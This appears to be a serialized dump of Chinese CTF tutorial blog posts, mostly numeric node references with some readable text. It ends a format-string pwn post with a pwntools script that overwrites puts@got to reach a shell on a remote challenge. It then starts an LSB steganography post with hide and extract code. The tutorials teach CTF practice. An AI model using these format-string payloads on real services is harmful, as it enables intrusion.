puts@got+2。\n",[32,10544,10545],{"class":34,"line":230},[32,10546,197],{"emptyLinePlaceholder":196},[32,10548,10549],{"class":34,"line":236},[32,10550,2925],{},[32,10552,10553],{"class":34,"line":242},[32,10554,3012],{},[15,10556,10557,10560],{},[29,10558,10559],{},"fmtstr_payload"," 自动完成：",[1826,10562,10563,10568,10575,10584],{},[1829,10564,1834,10565,10567],{},[29,10566,2698],{}," 地址拆成低 2 字节和高 2 字节。",[1829,10569,10570,10571,10574],{},"生成 ",[29,10572,10573],{},"%c"," 控制打印量。",[1829,10576,10577,10578,66,10580,10583],{},"把两个目标地址（",[29,10579,10362],{},[29,10581,10582],{},"puts@got+2","）放到对应参数位置。",[1829,10585,10586,10587,10589],{},"用 ",[29,10588,10327],{}," 分别写入。",[15,10591,10592,10593,10596,10597,10599],{},"预期结果：程序执行 ",[29,10594,10595],{},"puts(\"Done\")"," 时实际调用 ",[29,10598,3037],{},"，进入 shell。",[10,10601,807],{"id":806},[732,10603,10604,10614],{},[735,10605,10606],{},[738,10607,10608,10610,10612],{},[741,10609,816],{},[741,10611,819],{},[741,10613,822],{},[748,10615,10616,10634,10646],{},[738,10617,10618,10620,10632],{},[753,10619,3063],{},[753,10621,10622,66,10624,66,10627,2161,10629],{},[29,10623,10559],{},[29,10625,10626],{},"FmtStr",[29,10628,3081],{},[29,10630,10631],{},"recvuntil",[753,10633,843],{},[738,10635,10636,10638,10641],{},[753,10637,3089],{},[753,10639,10640],{},"看 RELRO、Canary、PIE",[753,10642,10643],{},[29,10644,10645],{},"pwn checksec ./fmt2",[738,10647,10648,10650,10653],{},[753,10649,9616],{},[753,10651,10652],{},"断点、看栈、验证参数位置",[753,10654,10655,66,10658],{},[29,10656,10657],{},"break main",[29,10659,3113],{},[10,10661,885],{"id":884},[15,10663,10664,10665,10668],{},"题目：远程运行 ",[29,10666,10667],{},"fmt2","（Partial RELRO、No PIE）。",[15,10670,10671,10673,10674,10677],{},[138,10672,146],{},"：与本地脚本唯一区别是 ",[29,10675,10676],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[22,10679,10681],{"className":24,"code":10680,"language":26,"meta":27,"style":27},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[29,10682,10683,10687,10691,10695,10700,10704,10709,10713,10717],{"__ignoreMap":27},[32,10684,10685],{"class":34,"line":35},[32,10686,2732],{},[32,10688,10689],{"class":34,"line":41},[32,10690,197],{"emptyLinePlaceholder":196},[32,10692,10693],{"class":34,"line":47},[32,10694,10493],{},[32,10696,10697],{"class":34,"line":53},[32,10698,10699],{},"p = remote('1.2.3.4', 10002)\n",[32,10701,10702],{"class":34,"line":175},[32,10703,197],{"emptyLinePlaceholder":196},[32,10705,10706],{"class":34,"line":181},[32,10707,10708],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[32,10710,10711],{"class":34,"line":187},[32,10712,2925],{},[32,10714,10715],{"class":34,"line":193},[32,10716,3213],{},[32,10718,10719],{"class":34,"line":200},[32,10720,3012],{},[15,10722,1224],{},[22,10724,10727],{"className":10725,"code":10726,"language":110,"meta":27},[108],"flag{format_string}\n",[29,10728,10726],{"__ignoreMap":27},[10,10730,1042],{"id":1041},[15,10732,10733,10734,2161,10736,10738,10739,10741],{},"格式化字符串提供两种原语：",[29,10735,9767],{},[29,10737,9782],{}," 任意读，",[29,10740,9788],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[1051,10743,10744],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":27,"searchDepth":41,"depth":41,"links":10746},[10747,10748,10749,10750,10751,10752,10753,10754,10755,10756],{"id":9738,"depth":47,"text":9739},{"id":9792,"depth":47,"text":9793},{"id":9871,"depth":47,"text":9872},{"id":9927,"depth":47,"text":9928},{"id":10094,"depth":47,"text":10095},{"id":10247,"depth":47,"text":10248},{"id":10343,"depth":47,"text":10344},{"id":806,"depth":47,"text":807},{"id":884,"depth":47,"text":885},{"id":1041,"depth":47,"text":1042},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。",{"date":1069,"image":4253,"alt":10759,"tags":10760,"published":196},"格式化字符串深入实战",[1073,2624,10761,1076],"格式化字符串","/blogs/ctf-pwn-format-string-deep-dive",{"title":9733,"description":10757},"blogs/18. ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",{"id":4,"title":5,"body":10767,"description":1066,"extension":1067,"meta":11532,"navigation":196,"ogImage":1070,"path":1077,"seo":11534,"stem":1079,"__hash__":1080},{"type":7,"value":10768,"toc":11520},[10769,10771,10773,10775,10795,10803,10805,10821,10823,10828,10830,10842,10844,10848,10852,10924,10926,10931,10935,10937,10941,10945,10947,10963,10965,10970,10974,10976,10980,11052,11054,11059,11065,11067,11072,11096,11098,11100,11106,11111,11113,11117,11121,11125,11130,11132,11137,11139,11275,11277,11282,11284,11334,11336,11386,11391,11393,11395,11400,11402,11404,11408,11420,11422,11427,11429,11435,11479,11481,11486,11488,11512,11514,11518],[10,10770,13],{"id":12},[15,10772,17],{},[15,10774,20],{},[22,10776,10777],{"className":24,"code":25,"language":26,"meta":27,"style":27},[29,10778,10779,10783,10787,10791],{"__ignoreMap":27},[32,10780,10781],{"class":34,"line":35},[32,10782,38],{},[32,10784,10785],{"class":34,"line":41},[32,10786,44],{},[32,10788,10789],{"class":34,"line":47},[32,10790,50],{},[32,10792,10793],{"class":34,"line":53},[32,10794,56],{},[15,10796,59,10797,63,10799,66,10801,70],{},[29,10798,62],{},[29,10800,15],{},[29,10802,69],{},[10,10804,74],{"id":73},[22,10806,10807],{"className":77,"code":78,"language":79,"meta":27,"style":27},[29,10808,10809],{"__ignoreMap":27},[32,10810,10811,10813,10815,10817,10819],{"class":34,"line":35},[32,10812,87],{"class":86},[32,10814,91],{"class":90},[32,10816,94],{"class":90},[32,10818,97],{"class":90},[32,10820,100],{"class":90},[10,10822,104],{"id":103},[22,10824,10826],{"className":10825,"code":109,"language":110,"meta":27},[108],[29,10827,109],{"__ignoreMap":27},[15,10829,115],{},[22,10831,10832],{"className":24,"code":118,"language":26,"meta":27,"style":27},[29,10833,10834,10838],{"__ignoreMap":27},[32,10835,10836],{"class":34,"line":35},[32,10837,125],{},[32,10839,10840],{"class":34,"line":41},[32,10841,130],{},[10,10843,134],{"id":133},[15,10845,10846,141],{},[138,10847,140],{},[15,10849,10850,147],{},[138,10851,146],{},[22,10853,10854],{"className":24,"code":150,"language":26,"meta":27,"style":27},[29,10855,10856,10860,10864,10868,10872,10876,10880,10884,10888,10892,10896,10900,10904,10908,10912,10916,10920],{"__ignoreMap":27},[32,10857,10858],{"class":34,"line":35},[32,10859,157],{},[32,10861,10862],{"class":34,"line":41},[32,10863,162],{},[32,10865,10866],{"class":34,"line":47},[32,10867,167],{},[32,10869,10870],{"class":34,"line":53},[32,10871,172],{},[32,10873,10874],{"class":34,"line":175},[32,10875,178],{},[32,10877,10878],{"class":34,"line":181},[32,10879,184],{},[32,10881,10882],{"class":34,"line":187},[32,10883,190],{},[32,10885,10886],{"class":34,"line":193},[32,10887,197],{"emptyLinePlaceholder":196},[32,10889,10890],{"class":34,"line":200},[32,10891,203],{},[32,10893,10894],{"class":34,"line":206},[32,10895,209],{},[32,10897,10898],{"class":34,"line":212},[32,10899,215],{},[32,10901,10902],{"class":34,"line":218},[32,10903,221],{},[32,10905,10906],{"class":34,"line":224},[32,10907,227],{},[32,10909,10910],{"class":34,"line":230},[32,10911,233],{},[32,10913,10914],{"class":34,"line":236},[32,10915,239],{},[32,10917,10918],{"class":34,"line":242},[32,10919,245],{},[32,10921,10922],{"class":34,"line":248},[32,10923,251],{},[15,10925,254],{},[22,10927,10929],{"className":10928,"code":258,"language":110,"meta":27},[108],[29,10930,258],{"__ignoreMap":27},[15,10932,263,10933,267],{},[29,10934,266],{},[10,10936,271],{"id":270},[15,10938,10939,276],{},[138,10940,140],{},[15,10942,10943,281],{},[138,10944,146],{},[283,10946,286],{"id":285},[22,10948,10949],{"className":24,"code":289,"language":26,"meta":27,"style":27},[29,10950,10951,10955,10959],{"__ignoreMap":27},[32,10952,10953],{"class":34,"line":35},[32,10954,296],{},[32,10956,10957],{"class":34,"line":41},[32,10958,197],{"emptyLinePlaceholder":196},[32,10960,10961],{"class":34,"line":47},[32,10962,305],{},[15,10964,254],{},[22,10966,10968],{"className":10967,"code":311,"language":110,"meta":27},[108],[29,10969,311],{"__ignoreMap":27},[15,10971,316,10972,320],{},[29,10973,319],{},[283,10975,324],{"id":323},[15,10977,10978,329],{},[138,10979,146],{},[22,10981,10982],{"className":24,"code":332,"language":26,"meta":27,"style":27},[29,10983,10984,10988,10992,10996,11000,11004,11008,11012,11016,11020,11024,11028,11032,11036,11040,11044,11048],{"__ignoreMap":27},[32,10985,10986],{"class":34,"line":35},[32,10987,339],{},[32,10989,10990],{"class":34,"line":41},[32,10991,344],{},[32,10993,10994],{"class":34,"line":47},[32,10995,197],{"emptyLinePlaceholder":196},[32,10997,10998],{"class":34,"line":53},[32,10999,353],{},[32,11001,11002],{"class":34,"line":175},[32,11003,358],{},[32,11005,11006],{"class":34,"line":181},[32,11007,363],{},[32,11009,11010],{"class":34,"line":187},[32,11011,368],{},[32,11013,11014],{"class":34,"line":193},[32,11015,197],{"emptyLinePlaceholder":196},[32,11017,11018],{"class":34,"line":200},[32,11019,172],{},[32,11021,11022],{"class":34,"line":206},[32,11023,184],{},[32,11025,11026],{"class":34,"line":212},[32,11027,385],{},[32,11029,11030],{"class":34,"line":218},[32,11031,390],{},[32,11033,11034],{"class":34,"line":224},[32,11035,197],{"emptyLinePlaceholder":196},[32,11037,11038],{"class":34,"line":230},[32,11039,399],{},[32,11041,11042],{"class":34,"line":236},[32,11043,404],{},[32,11045,11046],{"class":34,"line":242},[32,11047,409],{},[32,11049,11050],{"class":34,"line":248},[32,11051,414],{},[15,11053,254],{},[22,11055,11057],{"className":11056,"code":420,"language":110,"meta":27},[108],[29,11058,420],{"__ignoreMap":27},[15,11060,11061,428,11063,432],{},[29,11062,427],{},[29,11064,431],{},[283,11066,436],{"id":435},[15,11068,439,11069,446],{},[441,11070,443],{"href":443,"rel":11071},[445],[22,11073,11074],{"className":24,"code":449,"language":26,"meta":27,"style":27},[29,11075,11076,11080,11084,11088,11092],{"__ignoreMap":27},[32,11077,11078],{"class":34,"line":35},[32,11079,456],{},[32,11081,11082],{"class":34,"line":41},[32,11083,197],{"emptyLinePlaceholder":196},[32,11085,11086],{"class":34,"line":47},[32,11087,465],{},[32,11089,11090],{"class":34,"line":53},[32,11091,470],{},[32,11093,11094],{"class":34,"line":175},[32,11095,475],{},[10,11097,479],{"id":478},[283,11099,483],{"id":482},[15,11101,486,11102,489,11104,493],{},[29,11103,62],{},[29,11105,492],{},[22,11107,11109],{"className":11108,"code":497,"language":110,"meta":27},[108],[29,11110,497],{"__ignoreMap":27},[283,11112,503],{"id":502},[15,11114,11115,508],{},[138,11116,140],{},[15,11118,11119,513],{},[138,11120,146],{},[15,11122,516,11123,520],{},[29,11124,519],{},[22,11126,11128],{"className":11127,"code":524,"language":110,"meta":27},[108],[29,11129,524],{"__ignoreMap":27},[15,11131,529],{},[22,11133,11135],{"className":11134,"code":533,"language":110,"meta":27},[108],[29,11136,533],{"__ignoreMap":27},[283,11138,539],{"id":538},[22,11140,11141],{"className":24,"code":542,"language":26,"meta":27,"style":27},[29,11142,11143,11147,11151,11155,11159,11163,11167,11171,11175,11179,11183,11187,11191,11195,11199,11203,11207,11211,11215,11219,11223,11227,11231,11235,11239,11243,11247,11251,11255,11259,11263,11267,11271],{"__ignoreMap":27},[32,11144,11145],{"class":34,"line":35},[32,11146,549],{},[32,11148,11149],{"class":34,"line":41},[32,11150,554],{},[32,11152,11153],{"class":34,"line":47},[32,11154,559],{},[32,11156,11157],{"class":34,"line":53},[32,11158,564],{},[32,11160,11161],{"class":34,"line":175},[32,11162,569],{},[32,11164,11165],{"class":34,"line":181},[32,11166,574],{},[32,11168,11169],{"class":34,"line":187},[32,11170,197],{"emptyLinePlaceholder":196},[32,11172,11173],{"class":34,"line":193},[32,11174,353],{},[32,11176,11177],{"class":34,"line":200},[32,11178,587],{},[32,11180,11181],{"class":34,"line":206},[32,11182,203],{},[32,11184,11185],{"class":34,"line":212},[32,11186,596],{},[32,11188,11189],{"class":34,"line":218},[32,11190,601],{},[32,11192,11193],{"class":34,"line":224},[32,11194,197],{"emptyLinePlaceholder":196},[32,11196,11197],{"class":34,"line":230},[32,11198,610],{},[32,11200,11201],{"class":34,"line":236},[32,11202,615],{},[32,11204,11205],{"class":34,"line":242},[32,11206,620],{},[32,11208,11209],{"class":34,"line":248},[32,11210,625],{},[32,11212,11213],{"class":34,"line":628},[32,11214,197],{"emptyLinePlaceholder":196},[32,11216,11217],{"class":34,"line":633},[32,11218,636],{},[32,11220,11221],{"class":34,"line":639},[32,11222,642],{},[32,11224,11225],{"class":34,"line":645},[32,11226,648],{},[32,11228,11229],{"class":34,"line":651},[32,11230,654],{},[32,11232,11233],{"class":34,"line":657},[32,11234,660],{},[32,11236,11237],{"class":34,"line":663},[32,11238,666],{},[32,11240,11241],{"class":34,"line":669},[32,11242,672],{},[32,11244,11245],{"class":34,"line":675},[32,11246,678],{},[32,11248,11249],{"class":34,"line":681},[32,11250,660],{},[32,11252,11253],{"class":34,"line":686},[32,11254,689],{},[32,11256,11257],{"class":34,"line":692},[32,11258,197],{"emptyLinePlaceholder":196},[32,11260,11261],{"class":34,"line":697},[32,11262,700],{},[32,11264,11265],{"class":34,"line":703},[32,11266,706],{},[32,11268,11269],{"class":34,"line":709},[32,11270,712],{},[32,11272,11273],{"class":34,"line":715},[32,11274,718],{},[15,11276,254],{},[22,11278,11280],{"className":11279,"code":724,"language":110,"meta":27},[108],[29,11281,724],{"__ignoreMap":27},[10,11283,730],{"id":729},[732,11285,11286,11294],{},[735,11287,11288],{},[738,11289,11290,11292],{},[741,11291,743],{},[741,11293,746],{},[748,11295,11296,11308,11314,11320,11326],{},[738,11297,11298,11304],{},[753,11299,11300,758,11302],{},[29,11301,757],{},[29,11303,761],{},[753,11305,764,11306,768],{},[29,11307,767],{},[738,11309,11310,11312],{},[753,11311,773],{},[753,11313,776],{},[738,11315,11316,11318],{},[753,11317,781],{},[753,11319,784],{},[738,11321,11322,11324],{},[753,11323,789],{},[753,11325,792],{},[738,11327,11328,11330],{},[753,11329,797],{},[753,11331,800,11332],{},[29,11333,803],{},[10,11335,807],{"id":806},[732,11337,11338,11348],{},[735,11339,11340],{},[738,11341,11342,11344,11346],{},[741,11343,816],{},[741,11345,819],{},[741,11347,822],{},[748,11349,11350,11364,11376],{},[738,11351,11352,11354,11362],{},[753,11353,829],{},[753,11355,11356,66,11358,66,11360],{},[29,11357,834],{},[29,11359,837],{},[29,11361,840],{},[753,11363,843],{},[738,11365,11366,11368,11372],{},[753,11367,848],{},[753,11369,11370,854],{},[29,11371,853],{},[753,11373,11374],{},[29,11375,859],{},[738,11377,11378,11380,11382],{},[753,11379,864],{},[753,11381,867],{},[753,11383,11384],{},[29,11385,872],{},[15,11387,875,11388,881],{},[441,11389,880],{"href":878,"rel":11390},[445],[10,11392,885],{"id":884},[15,11394,888],{},[22,11396,11398],{"className":11397,"code":892,"language":110,"meta":27},[108],[29,11399,892],{"__ignoreMap":27},[15,11401,897],{},[283,11403,901],{"id":900},[15,11405,11406,906],{},[138,11407,146],{},[22,11409,11410],{"className":24,"code":909,"language":26,"meta":27,"style":27},[29,11411,11412,11416],{"__ignoreMap":27},[32,11413,11414],{"class":34,"line":35},[32,11415,296],{},[32,11417,11418],{"class":34,"line":41},[32,11419,920],{},[15,11421,254],{},[22,11423,11425],{"className":11424,"code":926,"language":110,"meta":27},[108],[29,11426,926],{"__ignoreMap":27},[283,11428,932],{"id":931},[15,11430,11431,937,11433,941],{},[138,11432,146],{},[29,11434,940],{},[22,11436,11437],{"className":24,"code":944,"language":26,"meta":27,"style":27},[29,11438,11439,11443,11447,11451,11455,11459,11463,11467,11471,11475],{"__ignoreMap":27},[32,11440,11441],{"class":34,"line":35},[32,11442,339],{},[32,11444,11445],{"class":34,"line":41},[32,11446,197],{"emptyLinePlaceholder":196},[32,11448,11449],{"class":34,"line":47},[32,11450,959],{},[32,11452,11453],{"class":34,"line":53},[32,11454,964],{},[32,11456,11457],{"class":34,"line":175},[32,11458,969],{},[32,11460,11461],{"class":34,"line":181},[32,11462,974],{},[32,11464,11465],{"class":34,"line":187},[32,11466,197],{"emptyLinePlaceholder":196},[32,11468,11469],{"class":34,"line":193},[32,11470,172],{},[32,11472,11473],{"class":34,"line":200},[32,11474,184],{},[32,11476,11477],{"class":34,"line":206},[32,11478,991],{},[15,11480,254],{},[22,11482,11484],{"className":11483,"code":997,"language":110,"meta":27},[108],[29,11485,997],{"__ignoreMap":27},[283,11487,1003],{"id":1002},[22,11489,11490],{"className":77,"code":1006,"language":79,"meta":27,"style":27},[29,11491,11492],{"__ignoreMap":27},[32,11493,11494,11496,11498,11500,11502,11504,11506,11508,11510],{"class":34,"line":35},[32,11495,1013],{"class":86},[32,11497,1017],{"class":1016},[32,11499,1020],{"class":1016},[32,11501,1023],{"class":1016},[32,11503,1026],{"class":1016},[32,11505,1029],{"class":1016},[32,11507,1032],{"class":1016},[32,11509,1035],{"class":1016},[32,11511,1038],{"class":90},[10,11513,1042],{"id":1041},[15,11515,1045,11516,1049],{},[138,11517,1048],{},[1051,11519,1053],{},{"title":27,"searchDepth":41,"depth":41,"links":11521},[11522,11523,11524,11525,11526,11527,11528,11529,11530,11531],{"id":12,"depth":47,"text":13},{"id":73,"depth":47,"text":74},{"id":103,"depth":47,"text":104},{"id":133,"depth":47,"text":134},{"id":270,"depth":47,"text":271},{"id":478,"depth":47,"text":479},{"id":729,"depth":47,"text":730},{"id":806,"depth":47,"text":807},{"id":884,"depth":47,"text":885},{"id":1041,"depth":47,"text":1042},{"date":1069,"image":1070,"alt":1071,"tags":11533,"published":196},[1073,1074,1075,1076],{"title":5,"description":1066},{"id":11536,"title":11537,"body":11538,"description":12548,"extension":1067,"meta":12549,"navigation":196,"ogImage":3262,"path":12553,"seo":12554,"stem":12555,"__hash__":12556},"content/blogs/20. ctf-misc-stego-forensics-deep-dive.md","隐写与取证深入实战：LSB 隐写与 ZIP 伪加密",{"type":7,"value":11539,"toc":12538},[11540,11544,11550,11552,11586,11590,11594,11597,11603,11607,11612,11759,11769,11773,11778,11783,11886,11888,11893,11897,11910,11916,11920,11925,11930,11934,11937,11943,11950,11954,11959,11997,11999,12005,12008,12014,12018,12023,12080,12083,12089,12092,12130,12132,12138,12141,12145,12154,12209,12211,12217,12224,12228,12233,12238,12241,12339,12346,12352,12363,12365,12430,12434,12439,12444,12448,12450,12490,12493,12498,12504,12519,12522,12524,12535],[10,11541,11543],{"id":11542},"一现实背景文件头与压缩包","一、现实背景：文件头与压缩包",[15,11545,11546,11547,11549],{},"文件真实类型由文件头决定。ZIP 文件头是 ",[29,11548,4336],{},"，其内部结构里有\"加密标志位\"，出题人可以把标志位置 1 制造\"伪加密\"（数据其实没加密）。图片取证中，LSB 隐写把秘密藏在像素最低位。本文完整实现这两种技术。",[10,11551,74],{"id":73},[22,11553,11555],{"className":77,"code":11554,"language":79,"meta":27,"style":27},"apt install file binutils binwalk\npip3 install pillow\ngem install zsteg\n",[29,11556,11557,11570,11578],{"__ignoreMap":27},[32,11558,11559,11561,11563,11565,11567],{"class":34,"line":35},[32,11560,1163],{"class":86},[32,11562,91],{"class":90},[32,11564,1168],{"class":90},[32,11566,1171],{"class":90},[32,11568,11569],{"class":90}," binwalk\n",[32,11571,11572,11574,11576],{"class":34,"line":41},[32,11573,87],{"class":86},[32,11575,91],{"class":90},[32,11577,4376],{"class":90},[32,11579,11580,11582,11584],{"class":34,"line":47},[32,11581,5010],{"class":86},[32,11583,91],{"class":90},[32,11585,5015],{"class":90},[10,11587,11589],{"id":11588},"三核心技能-1lsb-隐写完整实现","三、核心技能 1：LSB 隐写（完整实现）",[283,11591,11593],{"id":11592},"_31-原理","3.1 原理",[15,11595,11596],{},"像素每个通道 1 字节（0-255）。把字节最低位替换成秘密比特，值最多变化 1，肉眼不可察觉：",[22,11598,11601],{"className":11599,"code":11600,"language":110,"meta":27},[108],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101   ← 最低位写入 1,0,1\n",[29,11602,11600],{"__ignoreMap":27},[283,11604,11606],{"id":11605},"_32-隐藏出题人视角","3.2 隐藏（出题人视角）",[15,11608,11609,11611],{},[138,11610,140],{},"：理解\"把秘密写进像素最低位\"的实现细节，才能反过来写出提取脚本。",[22,11613,11615],{"className":24,"code":11614,"language":26,"meta":27,"style":27},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\nbits = ''.join(f'{b:08b}' for b in data)\n# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\npixels = list(img.getdata())\n# getdata()：取出所有像素，每项是 (r,g,b)。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道，同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n    new_pixels.append((r, g, b))\n\nimg.putdata(new_pixels)\n# putdata()：把修改后的像素写回图片。\nimg.save('hidden.png')\n# save()：保存为 PNG。\nprint(\"已生成 hidden.png\")\n",[29,11616,11617,11621,11626,11630,11634,11639,11643,11647,11651,11656,11660,11665,11669,11674,11678,11682,11686,11690,11694,11698,11703,11707,11711,11716,11720,11724,11729,11733,11737,11741,11746,11750,11755],{"__ignoreMap":27},[32,11618,11619],{"class":34,"line":35},[32,11620,4646],{},[32,11622,11623],{"class":34,"line":41},[32,11624,11625],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n",[32,11627,11628],{"class":34,"line":47},[32,11629,197],{"emptyLinePlaceholder":196},[32,11631,11632],{"class":34,"line":53},[32,11633,4660],{},[32,11635,11636],{"class":34,"line":175},[32,11637,11638],{},"# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\n",[32,11640,11641],{"class":34,"line":181},[32,11642,4675],{},[32,11644,11645],{"class":34,"line":187},[32,11646,197],{"emptyLinePlaceholder":196},[32,11648,11649],{"class":34,"line":193},[32,11650,4684],{},[32,11652,11653],{"class":34,"line":200},[32,11654,11655],{},"# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\n",[32,11657,11658],{"class":34,"line":206},[32,11659,4699],{},[32,11661,11662],{"class":34,"line":212},[32,11663,11664],{},"# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\n",[32,11666,11667],{"class":34,"line":218},[32,11668,4714],{},[32,11670,11671],{"class":34,"line":224},[32,11672,11673],{},"# getdata()：取出所有像素，每项是 (r,g,b)。\n",[32,11675,11676],{"class":34,"line":230},[32,11677,197],{"emptyLinePlaceholder":196},[32,11679,11680],{"class":34,"line":236},[32,11681,4728],{},[32,11683,11684],{"class":34,"line":242},[32,11685,4733],{},[32,11687,11688],{"class":34,"line":248},[32,11689,4738],{},[32,11691,11692],{"class":34,"line":628},[32,11693,4743],{},[32,11695,11696],{"class":34,"line":633},[32,11697,4748],{},[32,11699,11700],{"class":34,"line":639},[32,11701,11702],{},"        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n",[32,11704,11705],{"class":34,"line":645},[32,11706,4743],{},[32,11708,11709],{"class":34,"line":651},[32,11710,4767],{},[32,11712,11713],{"class":34,"line":657},[32,11714,11715],{},"        # 绿色通道，同样处理。\n",[32,11717,11718],{"class":34,"line":663},[32,11719,4743],{},[32,11721,11722],{"class":34,"line":669},[32,11723,4781],{},[32,11725,11726],{"class":34,"line":675},[32,11727,11728],{},"        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n",[32,11730,11731],{"class":34,"line":681},[32,11732,4791],{},[32,11734,11735],{"class":34,"line":686},[32,11736,197],{"emptyLinePlaceholder":196},[32,11738,11739],{"class":34,"line":692},[32,11740,4806],{},[32,11742,11743],{"class":34,"line":697},[32,11744,11745],{},"# putdata()：把修改后的像素写回图片。\n",[32,11747,11748],{"class":34,"line":703},[32,11749,4818],{},[32,11751,11752],{"class":34,"line":709},[32,11753,11754],{},"# save()：保存为 PNG。\n",[32,11756,11757],{"class":34,"line":715},[32,11758,4830],{},[15,11760,11761,11763,11764,4840,11766,11768],{},[29,11762,4835],{}," 清零最低位（",[29,11765,4839],{},[29,11767,4843],{}," 写入。",[283,11770,11772],{"id":11771},"_33-提取解题视角","3.3 提取（解题视角）",[15,11774,11775,11777],{},[138,11776,140],{},"：把像素最低位收集起来，每 8 位一组还原成字节，得到隐藏消息。",[15,11779,11780,11782],{},[138,11781,146],{},"：读取像素 → 依次取 R、G、B 最低位 → 8 位拼 1 字节 → 遇到 0 结束。",[22,11784,11786],{"className":24,"code":11785,"language":26,"meta":27,"style":27},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # 每 8 个比特一组，步长为 8。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移 1 位再或上当前比特，等价于二进制拼接。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串解码成字符串。\n",[29,11787,11788,11792,11796,11800,11805,11809,11813,11817,11822,11826,11830,11834,11839,11843,11847,11851,11856,11860,11865,11869,11873,11877,11881],{"__ignoreMap":27},[32,11789,11790],{"class":34,"line":35},[32,11791,4646],{},[32,11793,11794],{"class":34,"line":41},[32,11795,197],{"emptyLinePlaceholder":196},[32,11797,11798],{"class":34,"line":47},[32,11799,4876],{},[32,11801,11802],{"class":34,"line":53},[32,11803,11804],{},"# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\n",[32,11806,11807],{"class":34,"line":175},[32,11808,4891],{},[32,11810,11811],{"class":34,"line":181},[32,11812,4896],{},[32,11814,11815],{"class":34,"line":187},[32,11816,4901],{},[32,11818,11819],{"class":34,"line":193},[32,11820,11821],{},"    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n",[32,11823,11824],{"class":34,"line":200},[32,11825,197],{"emptyLinePlaceholder":196},[32,11827,11828],{"class":34,"line":206},[32,11829,4920],{},[32,11831,11832],{"class":34,"line":212},[32,11833,4925],{},[32,11835,11836],{"class":34,"line":218},[32,11837,11838],{},"    # 每 8 个比特一组，步长为 8。\n",[32,11840,11841],{"class":34,"line":224},[32,11842,4935],{},[32,11844,11845],{"class":34,"line":230},[32,11846,4940],{},[32,11848,11849],{"class":34,"line":236},[32,11850,4945],{},[32,11852,11853],{"class":34,"line":242},[32,11854,11855],{},"        # 左移 1 位再或上当前比特，等价于二进制拼接。\n",[32,11857,11858],{"class":34,"line":248},[32,11859,4960],{},[32,11861,11862],{"class":34,"line":628},[32,11863,11864],{},"        # 字节 0 是隐藏时追加的结束符。\n",[32,11866,11867],{"class":34,"line":633},[32,11868,3673],{},[32,11870,11871],{"class":34,"line":639},[32,11872,4974],{},[32,11874,11875],{"class":34,"line":645},[32,11876,197],{"emptyLinePlaceholder":196},[32,11878,11879],{"class":34,"line":651},[32,11880,4983],{},[32,11882,11883],{"class":34,"line":657},[32,11884,11885],{},"# decode()：字节串解码成字符串。\n",[15,11887,254],{},[22,11889,11891],{"className":11890,"code":4994,"language":110,"meta":27},[108],[29,11892,4994],{"__ignoreMap":27},[283,11894,11896],{"id":11895},"_34-工具验证","3.4 工具验证",[22,11898,11900],{"className":77,"code":11899,"language":79,"meta":27,"style":27},"zsteg -a 